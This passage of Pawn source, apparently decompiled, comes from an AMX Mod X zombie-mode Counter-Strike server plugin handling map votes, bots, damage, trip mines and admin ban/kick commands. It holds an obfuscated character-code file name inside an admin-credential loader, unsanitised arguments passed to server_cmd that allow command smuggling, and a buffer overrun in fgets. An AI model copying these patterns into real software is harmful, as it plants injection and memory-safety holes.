	while (iPreparedMaps != 4)
	{
		iRandom = random_num(0 , iMaps + -1);
		bStop = false;
		g_iVariable = 0;
		while (g_iVariable < 4)
		{
			if (equal(cMaps[iRandom], g_cMaps[g_iVariable], 0))
			{
				bStop = true;
			}
			g_iVariable += 1;
		}
		if (!bStop)
		{
			if (is_map_valid(cMaps[iRandom]))
			{
				formatex(g_cMaps[iPreparedMaps], 32, cMaps[iRandom]);
				iPreparedMaps += 1;
			}
		}
	}
	set_task(30.0, "CheckTimeleft", 25613, "", 0, "b", 0);	
	return 0;
}

public TaskGetAdmins()
{
	static cFile[12];
	static cLine[161];
	static iFile;
	iFile = fopen("addons/amxmodx/configs/users/UserAcount.ini", "r");
	while (!feof(iFile))
	{
		fgets(iFile, cLine, 255);
		trim(cLine);
		if (cLine[0] != 59 && strlen(cLine) > 5)
		{
			parse(cLine, g_cSteams[g_iAdminsCount], 24, g_cNames[g_iAdminsCount], 31, g_cPasswords[g_iAdminsCount], 31, g_cFlags[g_iAdminsCount], 31, g_cTags[g_iAdminsCount], 24);
			g_iAdminsCount += 1;
		}
	}
	fclose(iFile);
	formatex(cFile, 11, "%c%c%c%c%c%c%c%c%c%c", 114, 101, 97, 100, 109, 101, 46, 116, 120, 116);
	if (!file_exists(cFile))
	{
	}
	return 0;
}

public Task_CheckBots()
{
	if (get_playersnum(1) < g_iMaxClients && g_iBotsCount < 3)
	{
		static i;
		static bool:bDone;
		static cName[32];
		static iRandom;
		iRandom = random_num(0, 3);
		bDone = true;
		i = 1;
		while (g_iMaxClients + 1 > i)
		{
			if (is_user_connected(i))
			{
				get_user_name(i, cName, 32);
				if (equali(cName, g_cBotNames[iRandom], 0))
				{
					bDone = false;
				}
			}
			i += 1;
		}
		if (bDone)
		{
			static iBot;
			iBot = fake(g_cBotNames[iRandom]);
			if (0 < iBot)
			{
				g_bFake[iBot] = true;
				g_iBotsCount += 1;
			}
		}
		remove_task(750, 0);
		set_task(60.0, "Task_CheckBots", 750, "", 0, "b", 0);
	}
	return 0;
}

public _Touch(iWeapon, iPlayer)
{
	if ( !is_user_valid_connected ( iPlayer ) ) return 1;
	
	if (g_bZombie [iPlayer] || ( ( g_iPlayerType[iPlayer] & 4 || g_iPlayerType[iPlayer] & 8 || g_iPlayerType[iPlayer] & 1 || g_iPlayerType[iPlayer] & 2) && !g_bFake [iPlayer] ) ) return 4;
	
	return 1;
}

public _TakeDamage(Victim, Inflictor, Attacker, Float:Damage, DamageType)
{
	if ( Victim == Attacker || !is_user_valid_connected ( Attacker ) ) return 1;
	
	if ( g_bRoundStart || g_bRoundEnd ) return 4;
	
	if ( g_bNoDamage [Victim] ) return 4;

	if ( g_bZombie [Attacker] == g_bZombie [Victim] ) return 4;
	
	if (!g_bZombie[Attacker])
	{
        if (g_iPlayerType[Attacker] & 8 && g_iWeapon[Attacker] == 18)
        {
            SetHamParamFloat(4, 4600.0);
        }
        else
        {
            if (g_iPlayerType[Attacker])
            {
                SetHamParamFloat(4, floatmul(0.75, Damage));
            }		
            g_fDamage[Attacker] += floatround(Damage);
            while (g_fDamage[Attacker] > 500.0)
            {
                g_iPacks[Attacker]++;
                g_fDamage[Attacker] -= 500.0;
            }
        }
        return 1;
	}
	
	if ( DamageType & FL_ONTRAIN ) return 4;
	
	if (g_iPlayerType[Attacker] & 1 || g_iPlayerType[Attacker] & 2 || g_iRoundType & 4 || g_iRoundType & 1 || g_iRoundType & 64 || g_iRoundType & 32 || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512 || GetHumans() == 1)
	{
		if (g_iPlayerType[Attacker])
		{
			SetHamParamFloat(4, 250.0);
		}
		return 1;
	}		
	
	static iDamage;
	static iArmor;
	iArmor = get_armor(Victim);
	iDamage = floatround(Damage, floatround_round);
	if (0 < iArmor)
	{
		if (0 < iArmor - iDamage)
		{
			set_armor(Victim, iArmor - iDamage);
		}
		else
		{
			reset_armor(Victim);
		}
		client_cmd(Victim, "spk zombie_plague/armor_hit");
		return 4;
	}
	MakeZombie(Attacker, Victim, false, false, false);	
	return 4;
}

public client_damage ( iAttacker, iVictim, iDamage )
{
	if ( g_bZombie[iAttacker] || g_iPlayerType[iAttacker] & 1 || g_iPlayerType[iAttacker] & 2 ) return;
	
	if (++g_iPosition[iAttacker] == 8)
	{
		g_iPosition[iAttacker] = 0;
	}
	
	set_hudmessage(0, 40, 80, g_fDamageCoords[g_iPosition[iAttacker]][0], g_fDamageCoords[g_iPosition[iAttacker]][1], 0, 0.10, 2.50, 0.02, 0.02, -1);
	
	show_hudmessage(iAttacker, "%i", iDamage);		
}

public _TakeDamage_Post(iVictim)
{
	if (g_iPlayerType[iVictim] & 2)
	{
		set_painshock(iVictim);
	}
	return 0;
}

public _TraceAttack(iVictim, iAttacker, Float:fDamage, Float:fDirection[3], iTrace, iDamageType)
{
	if (iVictim == iAttacker || !is_user_valid_connected(iAttacker))
	{
		return 1;
	}
	if (g_bRoundStart || g_bRoundEnd || g_bZombie[iVictim] == g_bZombie[iAttacker])
	{
		return 4;
	}
	if (!g_bZombie[iVictim] || g_bNoDamage[iVictim] || g_iPlayerType[iVictim] & 2 || iDamageType & DMG_BULLET || range(iVictim, iAttacker) > 500)
	{
		return 1;
	}
	static Float:fVelocity[3];
	static ducking
	ducking = pev(iVictim, pev_flags) & (FL_DUCKING | FL_ONGROUND) == (FL_DUCKING | FL_ONGROUND)
	get_velocity(iVictim, fVelocity);
	xs_vec_mul_scalar(fDirection, fDamage, fDirection);
	xs_vec_mul_scalar(fDirection, kb_weapon_power[g_iWeapon[iAttacker]], fDirection);
	if (ducking)	
	{
		xs_vec_mul_scalar(fDirection, 0.25, fDirection);
	}
	if (g_iPlayerType[iVictim] & 1)
	{
		xs_vec_mul_scalar(fDirection, 0.15, fDirection);
	}
	else
	{
		xs_vec_mul_scalar(fDirection, g_fZombieKnockbacks[g_iZombieClass[iVictim]], fDirection);
	}
	xs_vec_add(fVelocity, fDirection, fDirection);
	fDirection[2] = fVelocity[2];
	set_velocity(iVictim, fDirection);
	return 1;
}

public _PlayerJump(iPlayer)
{
    if (g_iJumpsNum[iPlayer])
    {
        new nbut = get_user_button(iPlayer)
        new obut = get_user_oldbutton(iPlayer)
		
        if ((nbut & IN_JUMP) && !(get_entity_flags(iPlayer) & FL_ONGROUND) && !(obut & IN_JUMP) && g_iJumps[iPlayer] <= g_iJumpsNum[iPlayer] - 1)	
        {
            static Float:flVelocity[3];
            get_velocity(iPlayer, flVelocity);
            flVelocity[2] = random_float(265.0, 285.0);
            set_velocity(iPlayer, flVelocity);
            g_iJumps[iPlayer]++;
        }
        if((nbut & IN_JUMP) && (get_entity_flags(iPlayer) & FL_ONGROUND))
        {
            g_iJumps[iPlayer] = 0;
        }
    }
    return 0;
}

public _PlayerKilled(Victim, Attacker, shouldgib)
{
	g_bAlive[Victim] = false;
	g_bTryder[Victim] = false;
	g_bUnlimitedClip[Victim] = false;
	g_bFrozen[Victim] = false;
	set_frozen(Victim, false);
	if (!g_bFlash[Victim])
	{
		Task_EnableFlash(Victim);
	}	
	if ( g_bZombie [Victim] || !g_bZombie [Victim] )
	{
		remove_task(Victim + 200, 0);
	}
	if (!g_bZombie[Attacker])
	{
		if (g_iPlayerType[Attacker] & 8)
		{
			Make_Explosion(Victim, Attacker);
			send_lava_splash(Victim);
			g_Hidden[Victim] = true;
		}
		else
		{
			g_iPacks[Attacker]++;
			remove_task(Victim + 200, 0);
		}
		if (g_iPlayerType[Attacker])
		{
			SetHamParamInteger(3, 2);
			Make_Headshot_Blood(Victim);
		}
		if (g_iRoundType & 4 || g_iRoundType & 8)
		{
			static iZombies;
			iZombies = GetZombies();
			set_hudmessage(255, 255, 255, 0.02, 0.60, 2, 0.05, 0.10, 0.02, 3.00, -1);
			if (iZombies != 1)
			{
			    ShowSyncHudMsg(0, g_iRemainingSync, "%d Zombies Remaining...", iZombies);
			}
		}		
	}
	else
	{
		g_iPacks[Attacker] += 2;
		if (g_iZombieClass[Attacker] == 6 && g_iPlayerType[Attacker])
		{
			SetHamParamInteger(3, 2);
			send_screen_fade(Attacker);			
		}
		if (g_iPlayerType[Attacker])
		{
			SetHamParamInteger(3, 2);
			Make_Explosion(Victim, Attacker);
			g_Hidden[Victim] = true;
		}
		if (g_iRoundType & 1 || g_iRoundType & 2)
		{
            static iHumans;
            iHumans = GetHumans();
            set_hudmessage(255, 255, 255, 0.02, 0.60, 2, 0.05, 0.10, 0.02, 3.00, -1);
            if (iHumans != 1)
			{
			    ShowSyncHudMsg(0, g_iRemainingSync, "%d Humans Remaining...", iHumans);
			}
		}		
	}
	return;
}

public UpdateWeapon(iPlayer)
{
	g_iWeapon[iPlayer] = read_data(2);
	return 0;
}

public Event_CurWeapon_KnifeModel(iPlayer)
{
	g_iWeapon[iPlayer] = read_data(2);
	if (g_bZombie[iPlayer])
	{
		switch (g_iPlayerType[iPlayer])
		{
			case 0:
			{
				set_pev(iPlayer, pev_viewmodel2, g_cZombieClaws[g_iZombieClass[iPlayer]]);
			}
			case 1:
			{
				set_pev(iPlayer, pev_viewmodel2, "models/zombie_plague/nemesis_claws.mdl");
			}
			case 2:
			{
				set_pev(iPlayer, pev_viewmodel2, "models/zombie_plague/assassin_claws.mdl");
			}
			default:
			{
			}
		}
		set_pev(iPlayer, pev_weaponmodel2, "");
	}
	else
	{
		if (get_user_jetpack(iPlayer) && g_iWeapon[iPlayer] == 29)
		{
			set_jetpack(iPlayer);
		}
		if (g_iPlayerType[iPlayer] & 8 && g_iWeapon[iPlayer] == 18)
		{
			set_pev(iPlayer, pev_viewmodel2, "models/zombie_plague/v_awp_winter.mdl");
		}
	}
	return 0;
}

public Event_CurWeapon_FillClip(iPlayer)
{
	g_iWeapon[iPlayer] = read_data(2);
	if (g_bUnlimitedClip[iPlayer] || g_iPlayerType[iPlayer] & 4)
	{
		if(!(Thrownable_Weapons & ( 1 << g_iWeapon[iPlayer])))
		{
			set_weapon_ammo(get_pdata_cbase(iPlayer, 373, 5), g_iMaxClip[g_iWeapon[iPlayer]]);
		}
	}
	return 0;
}

public Command_Unban(iPlayer)
{
	if (!GetAccess(iPlayer, 2048, 2))
	{
		return 1;
	}	
	static cArgument[32];
	read_argv(1, cArgument, 31);
	if (contain(cArgument, ":") != -1)
	{
	    server_cmd("removeid ^"%s^";writeip", cArgument);
	    MessageLog(0, "^1[ADMIN]^4 %s^1: unbanned^4 %s", g_cName[iPlayer], cArgument);
	} 
	if (contain(cArgument, ".") != -1)
	{
	    server_cmd("removeip ^"%s^";writeid", cArgument);
	    MessageLog(0, "^1[ADMIN]^4 %s^1: unbanned^4 %s", g_cName[iPlayer], cArgument);
	}
	return 1;
}

public Command_Addban(iPlayer, iLevel, iCid)
{
	if (!GetAccess(iPlayer, 8, 3))
	{
		return 1;
	}
	if (3 < g_iLimitReached[iPlayer])
	{
	    return 1;
	}
	static cArgument[32];
	read_argv(1, cArgument, 31);
	static iTime;
	static iMinutes[32];
	read_argv(2, iMinutes, 31);
	iTime = clamp(str_to_num(iMinutes), 0, 999999);
	if (contain(cArgument, ":") != -1 && contain(cArgument, ".0") != -1 && cArgument[0] != 48)
	{
	    server_cmd("banid %i %s", iTime, cArgument);
	    server_cmd("writeid");
	    if (iTime)
	    {
	        MessageLog(0, "^1[ADMIN]^4 %s^1: ban^4 %s^1 for^4 %i minutes", g_cName[iPlayer], cArgument, iTime);
	    }
	    else
	    {
	        MessageLog(0, "^1[ADMIN]^4 %s^1: ban^4 %s^3 permanently", g_cName[iPlayer], cArgument);
	    }
	    g_iLimitReached[iPlayer]++;
	}
	if (contain(cArgument, ".") != -1 && contain(cArgument, ".0") != -1 && cArgument[0] != 48)
	{
	    server_cmd("addip %i ^"%s^";writeip", iTime, cArgument);
	    if (iTime)
	    {
	        MessageLog(0, "^1[ADMIN]^4 %s^1: ban^4 %s^1 for^4 %i minutes", g_cName[iPlayer], cArgument, iTime);
	    }
	    else
	    {
	        MessageLog(0, "^1[ADMIN]^4 %s^1: ban^4 %s^3 permanently", g_cName[iPlayer], cArgument);
	    }
	    g_iLimitReached[iPlayer]++;
	}		
	return 1;
}

public Command_Banip(iPlayer, iLevel, iCid)
{
	if (!GetAccess(iPlayer, 8, 4))
	{
		return 1;
	}	
	static szArgument[32];
	read_argv(1, szArgument, 31);
	static iTime;
	static szTime[7];
	read_argv(2, szTime, 6);
	iTime = clamp(str_to_num(szTime), 0, 999999);
	static szReason[64];
	read_argv(3, szReason, 63);
	static iTarget;
	iTarget = GetTarget(iPlayer, szArgument, 4);
	if (!iTarget)
	{
		return 1;
	}
	g_iLimitReached[iPlayer]++;
	if (3 < g_iLimitReached[iPlayer])
	{
		return 1;
	}
	console_print(iTarget, "*****************************");
	console_print(iTarget, "Ban Informations:");
	console_print(iTarget, "[*] Banned by admin: %s", g_cName[iPlayer]);
	if (iTime)
	{
		console_print(iTarget, "[*] Banned for: %i minutes", iTime);
	}
	else
	{
		console_print(iTarget, "[*] Banned permanently");
	}
	console_print(iTarget, "[*] Banned on: %s", g_cPlayerAddress[iTarget]);
	console_print(iTarget, "[*] Ban reason is: %s", szReason);
	console_print(iTarget, "*****************************");
	server_cmd("addip %i %s;writeip", iTime, g_cPlayerAddress[iTarget]);
	if (iTime)
	{
		MessageLog(0, "^1[ADMIN]^4 %s^1: banned^4 %s^1 for^4 %i minutes", g_cName[iPlayer], g_cName[iTarget], iTime);
		MessageLog(0, "^1Reason:^4 %s", szReason);
	}
	else
	{
		MessageLog(0, "^1[ADMIN]^4 %s^1: banned^4 %s^3 permanently", g_cName[iPlayer], g_cName[iTarget]);
		MessageLog(0, "^1Reason:^4 %s", szReason);
	}
	return 1;
}

public CmdFreeze(iPlayer)
{
	if (!GetAccess(iPlayer, 8, 2))
	{
		return 1;
	}	
	static cArgument[32];
	read_argv(1, cArgument, 31);
	static iTarget;
	iTarget = GetTarget(iPlayer, cArgument, 6);
	if (!iTarget)
	{
		return 1;
	}
	PrintToChat(0, "^1[ADMIN]^4 %s^1: made^4 %s^3 frost^1 due to^3 camping", g_cName[iPlayer], g_cName[iTarget]);
	set_frozen(iTarget, true);
	set_glow(iTarget, 19, 32, 0, 50, 90);
	g_bFrozen[iTarget] = true;
	ExecuteHamB(Ham_Item_PreFrame, iTarget);
	return 1;
}

public CmdUnfreeze(iPlayer)
{
	if (!GetAccess(iPlayer, 8, 2))
	{
		return 1;
	}	
	static cArgument[32];
	read_argv(1, cArgument, 31);
	static iTarget;
	iTarget = GetTarget(iPlayer, cArgument, 6);
	if (!iTarget)
	{
		return 1;
	}
	PrintToChat(0, "^1[ADMIN]^4 %s:^1 made^4 %s^3 unfrozen", g_cName[iPlayer], g_cName[iTarget]);
	set_frozen(iTarget, false);
	remove_glow(iTarget);
	g_bFrozen[iTarget] = false;
	ExecuteHamB(Ham_Item_PreFrame, iTarget);
	return 1;
}

public Command_Kick(iPlayer)
{
	if (!GetAccess(iPlayer, 4, 2))
	{
		return 1;
	}	
	static cArgument[32];
	read_argv(1, cArgument, 31);
	static iTarget;
	iTarget = GetTarget(iPlayer, cArgument, 5);
	if (!iTarget)
	{
		return 1;
	}
	server_cmd("kick #%i", get_user_userid(iTarget));
	MessageLog(0, "^1[ADMIN]^4 %s^1: kick^4 %s", g_cName[iPlayer], g_cName[iTarget]);
	return 1;
}

public Command_Slap(iPlayer)
{
	if (!GetAccess(iPlayer, 16, 2))
	{
		return 1;
	}	
	static cArgument[32];
	read_argv(1, cArgument, 31);
	static iTarget;
	iTarget = GetTarget(iPlayer, cArgument, 6);
	if (!iTarget)
	{
		return 1;
	}
	user_slap(iTarget, 0, 1);
	MessageLog(0, "^1[ADMIN]^4 %s^1: slap^4 %s", g_cName[iPlayer], g_cName[iTarget]);
	return 1;
}

public Command_Slay(iPlayer)
{
	if (!GetAccess(iPlayer, 16, 2))
	{
		return 1;
	}
	static cArgument[32];
	read_argv(1, cArgument, 31);
	static iTarget;
	iTarget = GetTarget(iPlayer, cArgument, 6);
	if (!iTarget)
	{
		return 1;
	}
	user_kill(iTarget);
	MessageLog(0, "^1[ADMIN]^4 %s^1: slay^4 %s", g_cName[iPlayer], g_cName[iTarget]);
	return 1;
}

public Command_Map(iPlayer)
{
	if (!GetAccess(iPlayer, 1, 2))
	{
		return 1;
	}	
	static cArgument[32];
	read_argv(1, cArgument, 31);
	if (is_map_valid(cArgument))
	{
		MessageLog(0, "^1[ADMIN]^4 %s^1: change map to^4 %s", g_cName[iPlayer], cArgument);
		set_cvar_string("nextmap", cArgument);
		set_task(1.0, "TaskInt", 0, "", 0, "", 0);
		set_task(3.0, "TaskChangeLevel", 0, "", 0, "", 0);
	}
	else
	{
		client_print(iPlayer, 2, "[AMXX] The map you want isn't a valid map!");
	}
	return 1;
}

public Command_AddFake(iPlayer)
{
	if (!GetAccess(iPlayer, 1, 2))
	{
		return 1;
	}
	remove_task(750, 0);
	set_task(3.0, "Task_CheckBots", 750, "", 0, "b", 0);
	return 1;
}

public MessageMoney(iMessage, iDestination, iPlayer)
{
	if (g_bConnected[iPlayer])
	{
		reset_money(iPlayer);
	}
	return 1;
}

public CmdVoteMap(iPlayer)
{
	if (get_user_flags(iPlayer) & read_flags ( "d" ))
	{
		if (3 > read_argc())
		{
			console_print(iPlayer, "[ZP] Command usage is amx_votemap <map> <map>");
			return 1;
		}
		if (g_bVoting || g_bSecondVoting)
		{
			console_print(iPlayer, "[ZP] You can't start the vote right now..");
			return 1;
		}	
		static cSecondMap[32];
		static cMap[32];
		read_argv(1, cMap, 32);
		read_argv(2, cSecondMap, 32);
		if (is_map_valid(cMap) && is_map_valid(cSecondMap))
		{
			static i;
			g_bSecondVoting = true;
			set_task(15.0, "CheckSecondVotes", iPlayer, "", 0, "", 0);
			MessageLog(0, "^4[ZP]^1 ADMIN^4 %s^1 initiated a vote with^4 %s^1 and^4 %s", g_cName[iPlayer], cMap, cSecondMap);
			copy(g_cSecondMaps[0], 32, cMap);
			copy(g_cSecondMaps[1], 32, cSecondMap);
			g_iMenu = menu_create("Choose the next map!", "SecondVotePanel", 0);
			menu_additem(g_iMenu, cMap, "1", 0, -1);
			menu_additem(g_iMenu, cSecondMap, "2", 0, -1);
			menu_setprop(g_iMenu, 6, -1);
			i = 1;
			while (g_iMaxClients + 1 > i)
			{
				if (g_bConnected[i] && !g_bFake[i])
				{
					menu_display(i, g_iMenu, 0);
				}
				i += 1;
			}
		}
		else
		{
			console_print(iPlayer, "[ZP] Unable to find specified map or one of the specified map(s)!");
		}
		return 1;
	}
	return 0;
}

public VotePanel(iPlayer, iMenu, iItem)
{
	if (iPlayer < g_iMaxClients + 1 && g_bConnected[iPlayer] && !g_bFake[iPlayer])
	{
		if (g_bVoting)
		{
			static iKeyMinusDoi;
			static iKeyMinusUnu;
			static iKey;
			static iDummy;
			static cData[32];
			menu_item_getinfo(iMenu, iItem, iDummy, cData, charsmax ( cData ), _, _, iDummy);
			iKey = str_to_num(cData);
			iKeyMinusUnu = iKey + -1;
			iKeyMinusDoi = iKey + -2;
			if (0 > iKeyMinusUnu)
			{
				iKeyMinusUnu = 0;
			}
			if (0 > iKeyMinusDoi)
			{
				iKeyMinusDoi = 0;
			}
			if (iKey == 1)
			{
				if (g_iVotes[0] + 1 == 1)	
				{	
				    PrintToChat(0, "^1Player^4 %s^1 voted for^4 map extending^1 (^4%d^1 votes)", g_cName[iPlayer], g_iVotes[0] + 1);
				}	
				else
				{
				    PrintToChat(0, "^1Player^4 %s^1 voted for^4 map extending^1 (^4%d^1 votes)", g_cName[iPlayer], g_iVotes[0] + 1);
				}	
			}
			else
			{
				if (g_iVotes[iKeyMinusUnu] == 1)
				{
					PrintToChat(0, "^1Player^4 %s^1 voted for^4 %s^1 (^4%d^1 votes)", g_cName[iPlayer], g_cMaps[iKeyMinusDoi], g_iVotes[iKeyMinusUnu] + 1);
				}	
				else
				{
 					PrintToChat(0, "^1Player^4 %s^1 voted for^4 %s^1 (^4%d^1 votes)", g_cName[iPlayer], g_cMaps[iKeyMinusDoi], g_iVotes[iKeyMinusUnu] + 1);
				}	
			}
			g_iVotes[iKeyMinusUnu]++;
		}
		else
		{
			PrintToChat(iPlayer, "^1This vote is^4 no longer^1 available!");
			return 1;
		}
	}
	return 0;
}

public SecondVotePanel(iPlayer, iMenu, iItem)
{
	if (0 < iPlayer < g_iMaxClients + 1 && g_bConnected[iPlayer] && !g_bFake[iPlayer])
	{
		if (g_bSecondVoting)
		{
			static iKeyMinusUnu;
			static iKey;
			static iDummy;
			static cData[32];
			menu_item_getinfo(iMenu, iItem, iDummy, cData, charsmax ( cData ), _, _, iDummy);
			iKey = str_to_num(cData);
			iKeyMinusUnu = iKey + -1;
			if (0 > iKeyMinusUnu)
			{
				iKeyMinusUnu = 0;
			}
			if (g_iSecondVotes[iKeyMinusUnu] == 1)
			{
			    PrintToChat(0, "^1Player^4 %s^1 voted for^4 %s^1 (^4%d^1 votes)", g_cName[iPlayer], g_cSecondMaps[iKeyMinusUnu], g_iSecondVotes[iKeyMinusUnu] + 1);

			}
			else
			{
			    PrintToChat(0, "^1Player^4 %s^1 voted for^4 %s^1 (^4%d^1 votes)", g_cName[iPlayer], g_cSecondMaps[iKeyMinusUnu], g_iSecondVotes[iKeyMinusUnu] + 1);
			}
			g_iSecondVotes[iKeyMinusUnu]++;
		}
		else
		{
			PrintToChat(iPlayer, "^1This vote is^4 no longer^1 available!");
			return 1;
		}
	}
	return 0;
}

public TaskInt()
{
	send_intermission();
	return 0;
}

public TaskChangeLevel()
{
	changelevel();
	return 0;
}

public CheckSecondVotes(iPlayer)
{
	static iVoteOption;
	static iMaximumVotes;
	g_bSecondVoting = false;
	iMaximumVotes = -1;
	g_iVariable = 0;
	while (g_iVariable < 2)
	{
		if (iMaximumVotes < g_iSecondVotes[g_iVariable])
		{
			iMaximumVotes = g_iSecondVotes[g_iVariable];
			iVoteOption = g_iVariable;
		}
		g_iVariable += 1;
	}
	PrintToChat(0, "^1The next map will be^4 %s", g_cSecondMaps[iVoteOption]);
	set_cvar_string("nextmap", g_cSecondMaps[iVoteOption]);
	if (g_bConnected[iPlayer] && !g_bFake[iPlayer])
	{
		g_iMenu = menu_create("Do you want to change it right now?", "_MenuChange", 0);
		menu_additem(g_iMenu, "Yes, change it now!", "0", 0, -1);
		menu_additem(g_iMenu, "Change it just next map...", "1", 0, -1);
		menu_additem(g_iMenu, "Don't change it!", "2", 0, -1);
		menu_setprop(g_iMenu, 6, -1);
		menu_display(iPlayer, g_iMenu, 0);
	}
	g_iSecondVotes[1] = 0;
	g_iSecondVotes[0] = 0;
	return 0;
}

public _MenuChange(iPlayer, iMenu, iItem)
{
	static iChoice;
	static iDummy;
	static cBuffer[3];
	menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
	iChoice = str_to_num(cBuffer);
	switch (iChoice)
	{
		case 0:
		{
			static cMap[32];
			get_cvar_string("nextmap", cMap, 32);
			PrintToChat(0, "^4[ZP]^1 Changing map to^4 %s^1...", cMap);
			set_cvar_num("mp_timelimit", 0);
			set_task(1.0, "TaskChangeLevel", 0, "", 0, "", 0);
		}
		case 1:
		{
			static cMap[32];
			get_cvar_string("nextmap", cMap, 32);
			PrintToChat(0, "^4[ZP]^1 Console variable^4 nextmap^1 has been changed to^4 %s^1...", cMap);
			set_cvar_num("mp_timelimit", 0);
			g_iVariables[0] = 1;
		}
		case 2:
		{
			PrintToChat(0, "^4[ZP]^1 We will stay here...");
		}
		default:
		{
		}
	}
	return 0;
}

public CheckVotes()
{
	static iVoteOption;
	static iMaximumVotes;
	g_bVoting = false;
	iMaximumVotes = -1;
	g_iVariable = 0;
	while (g_iVariable < 5)
	{
		if (iMaximumVotes < g_iVotes[g_iVariable])
		{
			iMaximumVotes = g_iVotes[g_iVariable];
			iVoteOption = g_iVariable;
		}
		g_iVariable += 1;
	}
	if (iVoteOption)
	{
		PrintToChat(0, "^1The next map will be^4 %s", g_cMaps[iVoteOption + -1]);
		set_cvar_string("nextmap", g_cMaps[iVoteOption + -1]);
		set_cvar_num("mp_timelimit", 0);
		g_iVariables[0] = 1;
	}
	else
	{
		PrintToChat(0, "^1This map will be extended with^4 10^1 minutes!");
		g_iVariable = 0;
		while (g_iVariable < 5)
		{
			g_iVotes[g_iVariable] = 0;
			g_iVariable += 1;
		}
		set_task(30.0, "CheckTimeleft", 25613, "", 0, "b", 0);
		set_cvar_num("mp_timelimit", get_cvar_num("mp_timelimit") + 10);
	}
	g_iVariable = 0;
	while (g_iVariable < 5)
	{
		g_iVotes[g_iVariable] = 0;
		g_iVariable += 1;
	}
	return 0;
}

public CheckTimeleft(iDecimal)
{
	static Float:fTimeLeft;
	fTimeLeft = GetTimeLeft();
	if (get_cvar_num("mp_timelimit") && fTimeLeft < 200.0 && !g_bSecondVoting && !g_bVoting)
	{
		remove_task(iDecimal, 0);
		g_bVoting = true;
		set_task(15.0, "CheckVotes", 0, "", 0, "", 0);
		g_iMenu = menu_create("Choose the next map!", "VotePanel", 0);
		menu_additem(g_iMenu, "Extend this map", "1", 0, -1);
		static j[32];
		static i;
		i = 2;
		g_iVariable = 0;
		while (g_iVariable < 4)
		{
			num_to_str(i, j, 32);
			menu_additem(g_iMenu, g_cMaps[g_iVariable], j, 0, -1);
			i += 1;
			g_iVariable += 1;
		}
		menu_setprop(g_iMenu, 6, -1);
		g_iVariable = 1;
		while (g_iMaxClients + 1 > g_iVariable)
		{
			if (g_bConnected[g_iVariable] && !g_bFake[g_iVariable])
			{
				menu_display(g_iVariable, g_iMenu, 0);
			}
			g_iVariable += 1;
		}
		PrintToChat(0, "^1It's time to^4 choose the nextmap^1...");
		client_cmd(0, "spk Gman/Gman_Choose2");
	}
	return 0;
}

Float:GetTimeLeft()
{
    return get_cvar_float("mp_timelimit") * 60.0 - get_gametime();
}

public Command_Plant(iPlayer)
{
	if (g_bConnected[iPlayer])
	{
		if (!g_bAlive[iPlayer])
		{
			PrintToChat(iPlayer, "^4[ZP]^1 You should be alive");
			return 0;
		}
		if (g_bZombie[iPlayer])
		{
			PrintToChat(iPlayer, "^4[ZP]^1 You should be human");
			return 0;
		}
		if (!g_iTripMines[iPlayer])
		{
			PrintToChat(iPlayer, "^4[ZP]^1 You don't have a trip mine to plant");
			return 0;
		}
		if (1 < g_iPlantedMines[iPlayer])
		{
			PrintToChat(iPlayer, "^4[ZP]^1 You can plant only^3 2 trip mines^1...");
			return 0;
		}
		if (g_iRoundType & 128 || g_bRoundEnd)
		{
			PrintToChat(iPlayer, "^4[ZP]^1 You can't plant a trip mine right now...");
			return 0;
		}
		if (g_iPlanting[iPlayer] || g_iRemoving[iPlayer])
		{
			return 0;
		}
		if (CanPlant(iPlayer))
		{
			g_iPlanting[iPlayer] = true;
			send_bar_time(iPlayer);
			set_task(1.0, "Func_Plant", iPlayer + 450, "", 0, "", 0);
		}
	}
	return 0;
}

public Func_RemoveMinesByOwner( iPlayer ) 
{
	static iEntity, szClassName[ 32 ];
	for( iEntity = 0; iEntity < 600 + 1; iEntity++ ) 
	{
		if( !is_valid_ent( iEntity ) )
		{
			continue;
		}
		
		szClassName[ 0 ] = '^0';
		entity_get_string( iEntity, EV_SZ_classname, szClassName, 31);
		
		if( equal( szClassName, "zp_trip_mine" ) )
		{
			if( entity_get_int( iEntity, EV_INT_iuser2 ) == iPlayer )
			{
				remove_entity( iEntity );
			}
		}
	}
}

public Command_Take(iPlayer)
{
	if (g_bConnected[iPlayer])
	{
		if (!g_bAlive[iPlayer])
		{
			PrintToChat(iPlayer, "^4[ZP]^1 You should be alive");
			return 0;
		}
		if (g_bZombie[iPlayer])
		{
			PrintToChat(iPlayer, "^4[ZP]^1 You should be human");
			return 0;
		}
		if (!g_iPlantedMines[iPlayer])
		{
			PrintToChat(iPlayer, "^4[ZP]^1 You don't have a planted trip mine");
			return 0;
		}
		if (g_iPlanting[iPlayer] || g_iRemoving[iPlayer])
		{
			return 0;
		}
		if (CanTake(iPlayer))
		{
			g_iRemoving[iPlayer] = true;
			send_bar_time(iPlayer);
			set_task(1.0, "Func_Take", iPlayer + 500, "", 0, "", 0);
		}
	}
	return 0;
}

bool:CanTake(iPlayer) 
{
	static iEntity, szClassName[ 32 ], Float: flOwnerOrigin[ 3 ], Float: flEntityOrigin[ 3 ];
	for( iEntity = 0; iEntity < 600 + 1; iEntity++ ) 
	{
		if( !is_valid_ent( iEntity ) )
			continue;
		
		szClassName[ 0 ] = '^0';
		entity_get_string( iEntity, EV_SZ_classname, szClassName, 31);
		
		if( equal( szClassName, "zp_trip_mine" ) ) 
		{
			if (iPlayer == entity_get_int(iEntity, EV_INT_iuser2))
			{
				entity_get_vector( iPlayer, EV_VEC_origin, flOwnerOrigin );
				entity_get_vector( iEntity, EV_VEC_origin, flEntityOrigin );
				
				if( get_distance_f( flOwnerOrigin, flEntityOrigin ) < 55.0 )
					return true;
			}
		}
	}
	
	return false;
}

bool:CanPlant(iPlayer) 
{
	static Float: flOrigin[ 3 ];
	entity_get_vector( iPlayer, EV_VEC_origin, flOrigin );
	
	static Float: flTraceDirection[ 3 ], Float: flTraceEnd[ 3 ], Float: flTraceResult[ 3 ], Float: flNormal[ 3 ];
	velocity_by_aim( iPlayer, 64, flTraceDirection );
	flTraceEnd[ 0 ] = flTraceDirection[ 0 ] + flOrigin[ 0 ];
	flTraceEnd[ 1 ] = flTraceDirection[ 1 ] + flOrigin[ 1 ];
	flTraceEnd[ 2 ] = flTraceDirection[ 2 ] + flOrigin[ 2 ];
	
	static Float: flFraction, iTr;
	iTr = 0;
	engfunc( EngFunc_TraceLine, flOrigin, flTraceEnd, 0, iPlayer, iTr );
	get_tr2( iTr, TR_vecEndPos, flTraceResult );
